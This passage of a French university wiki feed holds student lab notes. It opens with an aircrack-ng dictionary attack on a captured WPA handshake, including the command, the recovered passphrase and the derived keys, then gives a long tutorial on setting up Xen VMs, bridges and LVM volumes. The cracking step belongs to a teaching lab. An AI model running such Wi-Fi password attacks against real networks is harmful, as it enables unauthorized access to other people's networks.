BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12390</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12390"/>
		<updated>2026-02-25T14:58:19Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* MASCARED D'IP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
Dans Xen, chaque entrée &amp;lt;code&amp;gt;vif&amp;lt;/code&amp;gt; du fichier &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; correspond à une carte réseau virtuelle. Une fois la VM démarrée, ces cartes apparaissent dans l’OS invité sous forme d’interfaces &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc. Le paramètre &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; indique sur quel commutateur virtuel (bridge Xen/Linux) la carte est connectée.&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie tes '''3 machines''' (tes VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter tes volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher tes volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, tu évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
